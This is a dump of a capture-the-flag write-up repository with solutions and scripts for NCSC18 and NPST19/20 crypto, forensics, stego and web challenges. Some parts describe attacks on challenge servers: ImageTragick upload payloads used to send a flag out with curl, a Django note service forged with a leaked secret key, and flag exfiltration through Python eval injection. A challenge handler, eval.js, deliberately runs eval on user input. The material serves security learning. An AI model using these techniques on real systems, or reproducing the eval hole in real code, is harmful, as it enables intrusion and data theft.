/flareon8/image-20210922001307582.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/image-20210922001307582.png -------------------------------------------------------------------------------- /flareon8/image-20210922001802767.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/image-20210922001802767.png -------------------------------------------------------------------------------- /flareon8/image-20210922012305543.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/image-20210922012305543.png -------------------------------------------------------------------------------- /flareon8/image-20210922013411349.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/image-20210922013411349.png -------------------------------------------------------------------------------- /flareon8/image-20211014191219663.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/image-20211014191219663.png -------------------------------------------------------------------------------- /flareon8/image-20211018003210534.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/image-20211018003210534.png -------------------------------------------------------------------------------- /ncsc18/crypto150_sha256/README.md: -------------------------------------------------------------------------------- 1 | # Crypto150 2 | 3 | The stream of zeros is in the binary representation of the hash. Notice that the calculation is equal to what Bitcoin is doing per block, where the number of zeros is similar to the difficulty that Bitcoin has. Much faster on GPU, but can be brute-forced by CPU. This script can be run with parameters to split the work, either among CPUs or contestants. -------------------------------------------------------------------------------- /ncsc18/crypto150_sha256/script.py: -------------------------------------------------------------------------------- 1 | import sys 2 | ix = int(sys.argv[1]) 3 | import struct 4 | FirstPart = b'\x00\x00\x00 \x96?V\x85Q"\xde\x9b\x82\\\x99S<(\xf7\x852\xfa\x9a\xf6\xa5^=\x00\x00\x00\x00\x00\x00\x00\x00\x00G\n\xa67(\x0c\x85\x9a\xe7:\xa2=\xba\x93\x0c\xeaU4\xabP\x0b\xca\x1d\xc2h\'\xccM\xc9\xd2%\x05Q\xbb\x99Z\xdc\x97]\x17' 5 | 6 | import hashlib 7 | 8 | res = b'\x00'*2 9 | def force(start, stop): 10 | for i in range(start, stop): 11 | MissingInteger = struct.pack('I', i) 12 | cur = hashlib.sha256(hashlib.sha256(FirstPart + MissingInteger).digest()).digest() 13 | if res in cur: 14 | print('Found candidate:', i, cur) 15 | 16 | n_threads = 4 17 | step = (2**32)//n_threads 18 | start = ix*step 19 | stop = (ix+1)*step 20 | print('Running from', hex(start), 'to', hex(stop)) 21 | force(start, stop) -------------------------------------------------------------------------------- /ncsc18/crypto40_LoremIpsum/README.md: -------------------------------------------------------------------------------- 1 | # Solution 2 | 1. Go to "Lorem Ipsum" on Wikipedia. 3 | 2. Copy the text from this SVG https://upload.wikimedia.org/wikipedia/commons/8/86/Lorem_ipsum_design.svg 4 | 3. Cut away any parts that are not in the corrupted text file. 5 | 4. Make sure the new file and the corrupted file are lined up 100%, including line endings. Lengths should be the same. 6 | 5. For each character in both texts, if they differ, XOR them together and save the result. 7 | 6. The flag is the concatenation of each XORed byte. -------------------------------------------------------------------------------- /ncsc18/crypto40_LoremIpsum/script.py: -------------------------------------------------------------------------------- 1 | strange = open("LoremIpsumStrangeFile.txt").read() 2 | realtxt = open("LoremIpsumReal.txt").read() 3 | 4 | sol = "" 5 | for i in range(len(strange)): 6 | if strange[i] != realtxt[i]: 7 | sol += chr(ord(strange[i]) ^ ord(realtxt[i])) 8 | print(sol) -------------------------------------------------------------------------------- /ncsc18/crypto50_Painvin/README.md: -------------------------------------------------------------------------------- 1 | # Painvin 2 | 3 | Ciphertext is `AAGDADAAAVVVDVADDVAAFFFAADDVDAADAAADFFAFVDVAADADAFAGFFADAAADVFFAGDFVDAAAFAGDAADVVDDAFVDVFAFVFDDDVAVDDVFAGDFDADFAFADAFAFAGAAADDVGGADAFAVAAAAAAVAFADAAGDDADAAFAADFADDDDFGVVVGAFDVVDGVXVGFDFDAVGXGGDDVFAVVFFDDFGVGFDAVXFDDFDDDAFAAAXAFVGADAAAVADVGXFVFVGDVVADDAAVDADDGAADAADGDFFFGGGAAVDDGVDGDFFDAAADADDDGAAAAFFGVAAGFGFDFAFDVAVGADFDVDDGADGVVDXVVVAVDDFVFAFDDVADFDGXFVAFVGXFVVADDXVFDDGXGFGVADFDAFAVVXADDADXFDVVGGVADFFVXFVDFVDVXVDVDDFXDAXDVDVGAVVADAVADXAVDVAVAVGVVADVGGXDDDFVVDGADDDAVFVDXVGAXDXVDFXDDAVAAD` 4 | 5 | Very recognizable as ADFGVX cipher (not to be mistaken for ADFGX). We didn't understand that the key was supposed to be "CYBERS", despite the hint, but we basically brute-forced it knowing this: 6 | - ADFGVX is basically substitution cipher + column transposition. 7 | - Each letter [A-Z0-9] is mapped to exactly one bigram (AA, AD, AF, etc.) before the bigrams are "mixed" based on the key. 8 | - This opens up to one attack, where if you suspect that the message contains no numbers, the amount of unique bigrams will be significantly less when you properly reverse the column transposition. 9 | - We found that for key length 6, the amount of unique bigrams sometimes fell from 36 to only 26. 10 | - Knowing this, we could look through all transpositions, "normalizing" them, i.e. transforming each unique bigram to a specific letter. We could solve this resulting string as a simple substitution cipher. But it turned out to be difficult due to the letters used in the plaintext. 11 | 12 | - A hint was added, stating that AAFIVEZEROSIXBRAVOB was part of the plaintext. With this, we found that the only matching inverse column transposition step was (5, 1, 2, 0, 4, 3). This gave the ciphertext: 13 | 14 | `ABCDEFGHDFIJKDKFIDGLDDMFGENOODPFJKFJJJQNCDRDEBKNFIEJCBIEJCBSTPNDGGSTPNDGGLHNKUDVQNCDGJMWBXTDIDAVJMUDDXTDIDASTPNDGGHBGDPKDCDMIEJCBIEJCBLHNKUDVBKAJEHBGDPBMDQBFGEBGGLBTMNQBEYBMDBMDYNUDRTPTZDPGJDNWHGDNWHGPNYJKNFBMDKDCDMHBGDPDNWHGBKAJEXTDIDAKNFQNCDJJJ` 15 | 16 | and we could see that JJQNCDRDEBKNFIEJCBI=AAFIVEZEROSIXBRAVOB, thanks to the hint, by looking for sequences in the string with repeating letters (two AAs then another A 14 steps to the right etc.) 17 | 18 | The resulting plaintext was 19 | 20 | `COVER X THE X BASES X BETWEEN X TRIPPEL X AS X AAA FIVE ZERO SIX BRAVO BRAVO JULIETT JULIETT WHISKEY FIVE TANGO QUEBEC YANKEE QUEBEC JULIETT HOTEL SEVEN BRAVO BRAVO WHISKEY OSCAR HOTEL ONE FOXTROT TWO UNIFORM ONE ONE MIKE ZULU DELTA EIGHT EIGHT LIMA SIX ONE SEVEN HOTEL EIGHT OSCAR QUEBEC SIX FIVE AAA` 21 | 22 | Which translates to "506BBJJW5TQYQJH7BBWOH1F2U11MZD88L617H8OQ65". This was written in base36, and we could find the flag with a short snippet: 23 | 24 | ```python 25 | >>> hex(int("506BBJJW5TQYQJH7BBWOH1F2U11MZD88L617H8OQ65",36))[2:-1].decode('hex') 26 | 'NCSC18{Painvin274572336456}' 27 | ``` 28 | -------------------------------------------------------------------------------- /ncsc18/foren170_Safari/Part_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/ncsc18/foren170_Safari/Part_1.png -------------------------------------------------------------------------------- /ncsc18/foren170_Safari/Part_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/ncsc18/foren170_Safari/Part_3.png -------------------------------------------------------------------------------- /ncsc18/foren170_Safari/README.md: -------------------------------------------------------------------------------- 1 | # Safari 2 | 3 | This one was a 3-part challenge. The initial capture filed contained 3 sequences of interest: 4 | 1. Tons of DNS requests. 5 | 2. A few ICMP requests 6 | 3. Some SMTP traffic. 7 | 8 | ## DNS requests 9 | 10 | - Stripping out all the DNS requests using tshark (see script) and cleaning out the last part of the hostname reveals a long base64-encoded string. Decoding it resulted in a new file. 11 | - Running binwalk on it revealed an ELF file, a separator string, and a ZPAQ archive. The ELF turned out to be a red herring. 12 | - The ZPAQ archive contained a new file, cappy.pcapng. In this file, someone uses the SAFT protocol to send someone a file, but some parameters have been erased and the file is corrupted. 13 | - One of the lines read "BINARY COMPRESSED=..." and by reading the docs, we see there are two compression standards: GZIP and BZIP2. 14 | - The file turns out to be very clearly a BZIP2-file, but its header is broken. We fix this by replacing BX in the start with BZ, and moving the extra Y to the end of the "PI-hex" part of the header. 15 | - Out comes a new file, this time a broken PNG file. The header reads "GNP" and the IDAT, IHDR, etc. text fields are corrupted. Fixing them revealse the first part of the flag (Part_1.png). 16 | 17 | ## ICMP requests 18 | 19 | - Looking at these, the checksums are reported as being wrong. Studying the ASCII version of the checksums, we see it is morse code with some garbage. We decoded it to be `15_W45_D4_53C0ND_0H`. 20 | 21 | ## SMTP traffic 22 | 23 | - Someone sends an email with an MP3 file. When extracting it, we can see a flag written in the spectrogram of the audio in it (Part_3.png). 24 | 25 | Final flag was 26 | 27 | `NCSC18{7H15_15_7H3_F1R57_P4R7_4ND_7H15_W45_D4_53C0ND_0H_w417_15_7h15_b64_n07_r34lly}` -------------------------------------------------------------------------------- /ncsc18/foren170_Safari/script.py: -------------------------------------------------------------------------------- 1 | #"C:\Program Files\Wireshark\tshark.exe" -r safari.pcapng -T fields -e dns.qry.name > dns.txt 2 | sep = "==========================SEPARATOR==========================\n" 3 | 4 | def write(fn,s): 5 | with open(fn,"wb") as f: 6 | f.write(s) 7 | 8 | dns = ''.join([line[:line.index('.')].replace("\\n","") for line in open("dns.txt").readlines() if len(line.rstrip())>0]).replace("\r\n","").decode('base-64') 9 | 10 | write("dns.decoded", dns) 11 | write("dns.elf",dns[:dns.index(sep)]) 12 | write("dns.zpaq",dns[dns.index(sep)+len(sep):]) 13 | 14 | #"C:\Program Files\Wireshark\tshark.exe" -r cappy.pcapng -T fields -e data.data > cappy.txt 15 | hexlines = [line.rstrip().replace(":","") for line in open("cappy.txt").readlines() if len(line.rstrip())>0] 16 | d2 = ''.join(hexlines[23:-3]).replace("\r\n","").decode('hex') 17 | write("data.bin",d2) -------------------------------------------------------------------------------- /ncsc18/foren60_WhereIsTheFlag/README.md: -------------------------------------------------------------------------------- 1 | # Where is the flag??? 2 | 3 | The task contained a disk image with a COW filesystem. Inspecting each revision, there were nothing interesting at first glance. Lots of poetry and pictures of flags. 4 | 5 | But this string was a bit suspicious... 6 | 7 | `GRSSANBTEA2TGIBUGMQDGMJAGM4CAN3CEAZTIIBTGQQDGNBAGM2CANLGEA3DGIBTGAQDGMBAGMYCANTDEA2WMIBXHEQDGMBAGMYCAMZQEAZDCIBSGEQDEMJAGVTCANJTEAZTGIBWGMQDOMRAGMZSANZUEA2WMIBWGYQDMYZAGM2CANRXEA2WMIBWGYQDOMRAGMYCANTEEA2WMIBXGQQDMOBAGM2CANLGEA3DEIBTGQQDMZJAGZRCAN3E` 8 | 9 | ...and it turned out it was simply base32-encoded for 10 | 11 | `4e 43 53 43 31 38 7b 34 34 34 34 5f 63 30 30 30 6c 5f 79 30 30 30 21 21 21 5f 53 33 63 72 33 74 5f 66 6c 34 67 5f 66 72 30 6d 5f 74 68 34 5f 62 34 6e 6b 7d` 12 | 13 | which is hex for 14 | 15 | `NCSC18{4444_c000l_y000!!!_S3cr3t_fl4g_fr0m_th4_b4nk}` -------------------------------------------------------------------------------- /ncsc18/misc10_IRC/README.md: -------------------------------------------------------------------------------- 1 | # Misc 10 - Join our IRC 2 | 3 | Topic was "ZVAV18{FeepimqDuLdnEnmetxwgx!!!}" and it was hinted towards Vigenere with the key "ohshrahngaoQuieryu". 4 | 5 | However, the solution was not to decrypt with Vigenere, but to encrypt instead. 6 | 7 | `ncsc18{welcometothechallenge!!!}` -------------------------------------------------------------------------------- /ncsc18/misc10_IRC/script.py: -------------------------------------------------------------------------------- 1 | import string 2 | ALPHA = string.ascii_lowercase 3 | cipher = "ZVAV18{FeepimqDuLdnEnmetxwgx!!!}".lower() 4 | key = "ohshrahngaoQuieryu".lower()*3 5 | 6 | msg = "" 7 | junk = 0 8 | for ix,ci in enumerate(cipher): 9 | if ci in ALPHA: 10 | msg += ALPHA[(ALPHA.index(ci) + ALPHA.index(key[ix-junk])) % len(ALPHA)] 11 | else: 12 | junk += 1 13 | msg += ci 14 | print(msg) -------------------------------------------------------------------------------- /ncsc18/rev80_68K/README.md: -------------------------------------------------------------------------------- 1 | # Rev80 68K 2 | 3 | The assembly was for Motorola 68000. After running it in a simulator, testing various inputs and outputs, we wrote this equivalent script to basically verify a guessed input. Since all operations were done on a byte-per-byte basis, it was easy enoug to guess until we got the right answer (it prints every mistake you have, change things until it is silent and you have the flag). 4 | 5 | `NCSC18{y0_h0_68k_ass3mbly_fun}` -------------------------------------------------------------------------------- /ncsc18/stego130_Turtles/README.md: -------------------------------------------------------------------------------- 1 | # Turtles all the way down 2 | 3 | We are given an image, `TurtleB.png`. Testing out various steganography tools on it, we find that using `steghide` with no password produces `TurtleC.jpg`. binwalk reveals that `TurtleC.jpg` is actually a JPEG + PNG mashed together, revealing a QR code. The QR code reads: 4 | 5 | `Hey, that's not a turtle! That's a tortoise. You promised us turtles. Quit messing with us! 6 | OK. Here's a secret I'll share with you; I never really liked NINJATURTLES` 7 | 8 | We also noticed some noise in the top corner of the QR code, but had no luck in decoding it. We suspected it to be some LSB stego, but no tools or manual efforts gave anything worthwhile. (And we didn't know what to look for). 9 | 10 | Then a hint was then revealed, pointing to the stego tool "stepic". Installing this, and using it on the QR code with password "NINJATURTLES" produced a PKZIP-file. Inside, another QR code called `TurtleE.png`. Scanning it revealed the fake flag `NSCS18{NinjaTurtlesRulez114458894158}`. But this image also had some noise in the upper-left corner. Running stepic again revealed the actual flag: 11 | 12 | `NCSC18{GreatA'Tuin270645515661}` -------------------------------------------------------------------------------- /ncsc18/stego200_CorruptedNature/README.md: -------------------------------------------------------------------------------- 1 | # Corrupted Nature 2 | 3 | The image had a text in the lower-right corner, hinting that we should increase the dimensions. Changing them from 2016x1512 to 2016x1640 using tweakpng, a white field with the text `AES128 password: Media White Point` was revealed. Tweakpng also reported that the CRC of the IHDR was wrong. 4 | 5 | A hint was released, pointing to the tool OpenStego. We had already tried this, but only on the pristine image. After testing it on the image after changing dimensions and fixing the CRC, using the password `0.94955 1 1.08902` (the media white point, as reported by exiftool), the file `Flag04.txt` popped out with this flag repeated: 6 | 7 | `NCSC2018{Secret:k\(:)/m.i.}` 8 | 9 | The make it accept the flag, we changed the input to start with `NCSC18` instead. -------------------------------------------------------------------------------- /ncsc18/web100_Factor/README.md: -------------------------------------------------------------------------------- 1 | # Web 100 Factor as a service 2 | 3 | A similar task was given last year, but this one was very refactored. Once entering the site, you were presented with only some static HTML and no obvious files were available, like robots.txt, sitemaps or repositories. 4 | 5 | It had two parts to it: 6 | 7 | 1. You received a cookie when entering the site, which looked like `"gqVhZG1pbsKsc2VjdXJpdHlfbHZsAQ=="`. Long story short, it was a serialized `msgpack` object, base64-encoded. Parsing it with the appropriate module revealed that it actually looked like this: `{b'admin': False, b'security_lvl': 1}`. We couldn't find that security level actually did anything, but setting admin to True and serializing/encoding it, then setting it as a cookie, gave us more options when visiting the site. 8 | 9 | 2. Now we could enter any number and make the server return the prime factors to us. We immediately suspected it to be a shell injection to `factor` like last year, but we were proved wrong. Also, whenever something went bad, the remote server would just return an error code and nothing of value. After experimenting a bit, we figured out that we could do basic math, and finally that it was running in a python environment. 10 | 11 | We opted to exfiltrate the flag as numbers. After reading that `len(open("flag.txt").read()` was 48, we run script.py to get the flag out, byte per byte. -------------------------------------------------------------------------------- /ncsc18/web100_SecureNote/README.md: -------------------------------------------------------------------------------- 1 | # Secure note service 2 | 3 | Comments in the source mentioned committing "note": 4 | - /note is available, which crashes saying it expects a valid id. When given an id, it complains about a missing signature. 5 | - A .git folder is available. Copying it, and reseting to HEAD, we get the source. Looking in the logs, there is a commit removing a Django secret. 6 | - We use a script to sign the message id that we want to request (1), which gives returns `CSWt_PVlDPLKgmfBL9n50q7vyUQ`. 7 | 8 | `curl -v -Fsignature="1:CSWt_PVlDPLKgmfBL9n50q7vyUQ" http://ncsc.ccis.no:4343/note/1 9 | {"id":1,"created":"2018-04-09T20:32:15.993269Z","description":"NCSC18{G00d_y0u_d1dnt_g1t_up!}"}%` -------------------------------------------------------------------------------- /ncsc18/web100_SecureNote/script.py: -------------------------------------------------------------------------------- 1 | from django.core.signing import Signer 2 | 3 | from django.utils.encoding import force_bytes 4 | signer = Signer(key='6bk^r*93y$^fg#lzq_87(_4ig^u*j0f%^-x_6j==wi9w8p$ru9') 5 | print(signer.sign(1)) -------------------------------------------------------------------------------- /ncsc18/web130_Memes/README.md: -------------------------------------------------------------------------------- 1 | # Web 130 Upload your best memes 2 | 3 | Looking through the source, there was a commented reference to an upload page. Accessing it gave the option to upload pictures, although nothing seemingly happened to the pictures once uploaded. When we tried to upload garbage, the site would return an error code, and upon success it would just return back to the upload page. It being a meme site, we guessed that there were some back-end processing the images (scaling or adding watermarks), so we tried a few image formats. One accepted format was MVG, and file endings were ignored, meaning something parsed the contents. 4 | 5 | After searching a bit we discovered [ImageTragick](https://imagetragick.com/), and tested various payloads based on this. First we had no luck, until we put a reference to an HTTPS site in the first URL. Then the payload got parsed. Since the remote server had very few tools installed, we opted to just `curl` the flag back to us instead of popping any interactive reverse shells. -------------------------------------------------------------------------------- /npst19/30-x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst19/30-x.png -------------------------------------------------------------------------------- /npst19/30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst19/30.png -------------------------------------------------------------------------------- /npst19/8a2a8e12017977d9dbf0ed33e254e94e.txt: -------------------------------------------------------------------------------- 1 | These‌‌‌‌‍‍‌‌ aren't ‌‌‌‌‍‍‌the Penguins‌‌‌‌‍‍‍‌ you're ‌‌‌‌‍‬looking for 2 | 3 | 4 | ‌‌‌‌‌‍‬ a8888b.‌‌‌‌‌‍ 5 | ‌‌‌‌‍‬‌‬ ‌‌‌‌‌‬‌ d888888b. 6 | ‌‌‌‌‌‍‬ 8P"YP"‌‌‌‌‌‌‌Y88 7 | ‌‌‌‌‌‌‍ 8|o||‌‌‌‌‍‬‌‍o|88‌‌‌‌‌‌‍ 8 | ‌‌‌‌‌‌‍ ‌‌‌‌‍‬‍‍8' ‌‌‌‌‌‍‌ .88 9 | 8`._.' Y‌‌‌‌‌‍8. 10 | ‌‌‌‌‍‬‌‍ ‌‌‌‌‌‬‍ d‌‌‌‌‍‬‍‍/ `8b. 11 | ‌‌‌‌‍‬‍‍ .dP . ‌‌‌‌‌‌ Y8b. 12 | ‌‌‌‌‍‬‌‬ d8:' ‌‌‌‌‍‬‍‬ " `‌‌‌‌‌‌‌::88b. 13 | d8‌‌‌‌‌‬‌" ‌‌‌‌‍‬‍‌ `Y88b 14 | ‌‌‌‌‍‬‍‌ :8P ' ‌‌‌‌‍‬‍‬ :888 15 | ‌‌‌‌‍‬‍‌ 8a. : _a88P 16 | ._/"Yaa_ :‌‌‌‌‌‌‌ .| 88P|‌‌‌‌‍‬‌‬ 17 | ‌‌‌‌‌‍ ‌‌‌‌‌‬‍ \ ‌‌‌‌‍‬‌‬ YP" `| 8P `. 18 | / ‌‌‌‌‍‬‌‍ \._____.d| .' 19 | ‌‌‌‌‍‍ `--..__)888888P`._.' 20 | 21 | -------------------------------------------------------------------------------- /npst19/eval.js: -------------------------------------------------------------------------------- 1 | const crypto = require("crypto"); 2 | 3 | function getSecretPasswordNumber(n) { 4 | return Math.PI.toFixed(48).toString().split(".")[1].slice(n, n+2); 5 | } 6 | 7 | function getPassword(date) { 8 | const passwords = { 9 | "06.12.19": "passord-" + getSecretPasswordNumber(3), 10 | "07.12.19": "passord-" + getSecretPasswordNumber(5), 11 | "08.12.19": "passord-" + getSecretPasswordNumber(8), 12 | "09.12.19": "passord-" + getSecretPasswordNumber(13), 13 | "10.12.19": "passord-" + getSecretPasswordNumber(21) 14 | }; 15 | // 06.12.19: vi har ikke flere passord etter 10. Burde vurdere alternative 16 | // løsninger. 17 | return passwords[date] || `fant ikke passord for ${date}`; 18 | } 19 | 20 | function formatSalt(salt) { 21 | return salt.toLowerCase(); 22 | } 23 | 24 | function encrypt(input) { 25 | // Bruk `decrypt` for å dekryptere 26 | 27 | const algorithm = "aes-192-cbc"; 28 | // 06.12.19: husk å oppdatere denne hver dag!!! 29 | // 09.12.19: dette var sykt slitsomt. kan vi finne en bedre løsning? 30 | // 11.12.19: Krypteres permanent med dagens passord nå. 31 | // Denne funksjonen trengs vel ikke lenger? 32 | const password = getPassword("10.12.19"); 33 | 34 | // 09.12.19: pepper er ikke et salt. Når vi på sikt krypterer utenfor serveren 35 | // burde vi oppdatere dette til noe mer vitenskapelig korrekt. 36 | // Natriumhydrogensulfat? 37 | // 11.12.19: Oppdatert med den kjemiske formelen ;) 38 | const key = crypto.scryptSync(password, formatSalt("pepper"), 24); 39 | 40 | const iv = Buffer.alloc(16, 0); 41 | const cipher = crypto.createCipheriv(algorithm, key, iv); 42 | 43 | let encrypted = cipher.update(input, "utf8", "hex"); 44 | encrypted += cipher.final("hex"); 45 | 46 | return encrypted; 47 | } 48 | 49 | function decrypt(password, salt, input) { 50 | const algorithm = "aes-192-cbc"; 51 | 52 | const key = crypto.scryptSync(password, formatSalt(salt), 24); 53 | 54 | const iv = Buffer.alloc(16, 0); 55 | const decipher = crypto.createDecipheriv(algorithm, key, iv); 56 | 57 | let decrypted = decipher.update(input, 'hex','utf8'); 58 | decrypted += decipher.final('utf8'); 59 | 60 | return decrypted; 61 | } 62 | 63 | function getFlag() { 64 | // Det er sikkert smartere å kryptere flagget først, og bare skrive inn det 65 | // krypterte resultatet her, enn å kryptere på serveren hver gang. 66 | // 11.12.19: Kryptert flagget nå. Vi kan sikkert slette encrypt-funksjonen? 67 | return "e5a8aadb885cd0db6c98140745daa3acf2d06edc17b08f1aff6daaca93017db9dc8d7ce7579214a92ca103129d0efcdd"; 68 | } 69 | 70 | exports.handler = function main(event, context, callback) { 71 | let result = ""; 72 | 73 | console.log(event.queryStringParameters.eval); 74 | 75 | // 😶 76 | delete process.env.AWS_SECRET_ACCESS_KEY; 77 | delete process.env.AWS_ACCESS_KEY_ID; 78 | delete process.env.AWS_SESSION_TOKEN; 79 | 80 | try { 81 | result = `${eval(event.queryStringParameters.eval)}`; 82 | } catch (e) { 83 | console.log(e); 84 | // 06.12.19: La til en god og informativ feilmelding. 85 | result = "Dette burde ikke skje..."; 86 | } 87 | 88 | callback(null, { 89 | statusCode: 200, 90 | headers: { 91 | "Content-Type": "text/html; charset=utf-8", 92 | }, 93 | body: result 94 | }); 95 | } 96 | -------------------------------------------------------------------------------- /npst19/julebord.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst19/julebord.enc -------------------------------------------------------------------------------- /npst19/julebord.py: -------------------------------------------------------------------------------- 1 | from string import printable 2 | KEYLEN = 11 3 | ALPHA = printable + "æøåÆØÅ" 4 | keybytes = [] 5 | ciphertext = open("julebord.enc","rb").read() 6 | 7 | for key_pos in range(KEYLEN): 8 | candidates = [] 9 | for key_cand in printable: 10 | for c_pos in range(key_pos, len(ciphertext), KEYLEN): 11 | if chr(ciphertext[c_pos] ^ ord(key_cand)) not in ALPHA: 12 | break 13 | else: 14 | candidates.append(key_cand) 15 | keybytes.append(candidates) 16 | 17 | print('|'.join(''.join(e) for e in keybytes)) -------------------------------------------------------------------------------- /npst19/julekort.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | 3 | def eca_infinite(cells, rule): 4 | rulebits = '{0:08b}'.format(rule) 5 | neighbours2next = {'{0:03b}'.format(n):rulebits[::-1][n] for n in range(8)} 6 | c = cells 7 | while True: 8 | yield c 9 | c = c[-2:] + c + c[:2] 10 | c = ''.join(neighbours2next[c[i-1:i+2]] for i in range(1,len(c) - 1)) 11 | c = c[1:-1] 12 | 13 | if __name__ == '__main__': 14 | img = Image.open("30.png") 15 | im = img.load() 16 | X,Y = img.size 17 | 18 | RGB = [[''.join(str(im[x,0][i] & 1) for x in range(X))] for i in range(3)] 19 | for i,e in enumerate(RGB): 20 | gen = eca_infinite(e[0], 30) 21 | next(gen) 22 | for _ in range(Y+1): 23 | L = next(gen) 24 | assert len(L) == X 25 | RGB[i].append(L) 26 | 27 | output = "" 28 | tmp = "" 29 | 30 | for y in xrange(1,Y): 31 | for x in xrange(X): 32 | for rgb in xrange(3): 33 | if RGB[rgb][y][x] == "1": 34 | tmp += str(im[x,y][rgb] & 1) 35 | if len(tmp) == 8: 36 | output += chr(int(tmp,2)) 37 | tmp = "" 38 | while output.endswith("\x00"): 39 | output = output[:-1] 40 | print([output]) -------------------------------------------------------------------------------- /npst19/qr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst19/qr.png -------------------------------------------------------------------------------- /npst20/9bab0c0ce96dd35b67aea468624852fb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/9bab0c0ce96dd35b67aea468624852fb.png -------------------------------------------------------------------------------- /npst20/QR.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/QR.png -------------------------------------------------------------------------------- /npst20/cupcake.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/cupcake.png -------------------------------------------------------------------------------- /npst20/image-20201213205952211.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/image-20201213205952211.png -------------------------------------------------------------------------------- /npst20/image-20201220172910863.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/image-20201220172910863.png -------------------------------------------------------------------------------- /npst20/image-20201225130654004.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/image-20201225130654004.png -------------------------------------------------------------------------------- /npst20/image-20210106011500831.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/image-20210106011500831.png -------------------------------------------------------------------------------- /npst20/julekort.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst20/julekort.png -------------------------------------------------------------------------------- /npst20/runner.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | _ =[exec(f"globals()['r{i}']={i}") for i in range(16)] 4 | 5 | class CPU(object): 6 | def __init__(self, rom, inp): 7 | self.memory = [0] * 4096 8 | self.instr = 0 9 | self.pc = 0 10 | self.flag = 0 11 | self.regs = [0]*16 12 | self.inp = list(inp) 13 | self.out = b"" 14 | self.running = True 15 | self.returns = [] 16 | for i, e in enumerate(rom): 17 | self.memory[i] = e 18 | 19 | def disp(self): 20 | print("-"*10) 21 | print('\n'.join(f"r{i} = {hex(self.regs[i])}" for i in range(16))) 22 | print(f"flag = {self.flag}") 23 | print(f"PC = {self.pc}") 24 | print(f"OUT = {self.out}") 25 | print("-"*10) 26 | 27 | def run(self): 28 | while self.running: 29 | self.step() 30 | 31 | def step(self): 32 | instr = (self.memory[self.pc + 1] << 8) | (self.memory[self.pc + 0] << 0) 33 | op_class = instr & 0x0F 34 | op = (instr >> 4) & 0x0F 35 | addr = (instr >> 4) 36 | value = (instr >> 8) 37 | arg1 = (instr >> 8) & 0x0F 38 | arg2 = (instr >> 12) & 0x0F 39 | 40 | if op_class == 0: 41 | print("STOPP") 42 | self.running = False 43 | 44 | elif op_class == 1: 45 | print(f"SETT r{op}, {hex(value)}") 46 | self.regs[op] = value 47 | 48 | elif op_class == 2: 49 | print(f"SETT r{op}, r{arg1}") 50 | self.regs[op] = self.regs[arg1] 51 | 52 | elif op_class == 3: 53 | print(f"FINN {hex(addr)}") 54 | self.regs[r1] = (addr & 0xF00) >> 8 55 | self.regs[r0] = addr & 0xFF 56 | 57 | elif op_class == 4: 58 | e = ((self.regs[r1] << 8) | (self.regs[r0])) & 0xFFFF 59 | if op == 0: 60 | print(f"LAST r{arg1}") 61 | self.regs[arg1] = self.memory[e] 62 | elif op == 1: 63 | print(f"LAGR r{arg1}") 64 | self.memory[e] = self.regs[arg1] 65 | else: 66 | assert False 67 | 68 | elif op_class == 5: 69 | e = self.regs[arg1] 70 | n = self.regs[arg2] 71 | if op == 0: print(f"OG r{arg1}, r{arg2}"); self.regs[arg1] &= n ; print([chr(e),chr(n)]) 72 | elif op == 1: print(f"ELLER r{arg1}, r{arg2}"); self.regs[arg1] |= n ; print([chr(e),chr(n)]) 73 | elif op == 2: print(f"XELLER r{arg1}, r{arg2}"); self.regs[arg1] ^= n ; print([chr(e),chr(n)]) 74 | elif op == 3: print(f"VSKIFT r{arg1}, r{arg2}"); self.regs[arg1] = (e << n) & 0xFF ; print([chr(e),chr(n)]) 75 | elif op == 4: print(f"HSKIFT r{arg1}, r{arg2}"); self.regs[arg1] >>= n ; print([chr(e),chr(n)]) 76 | elif op == 5: print(f"PLUSS 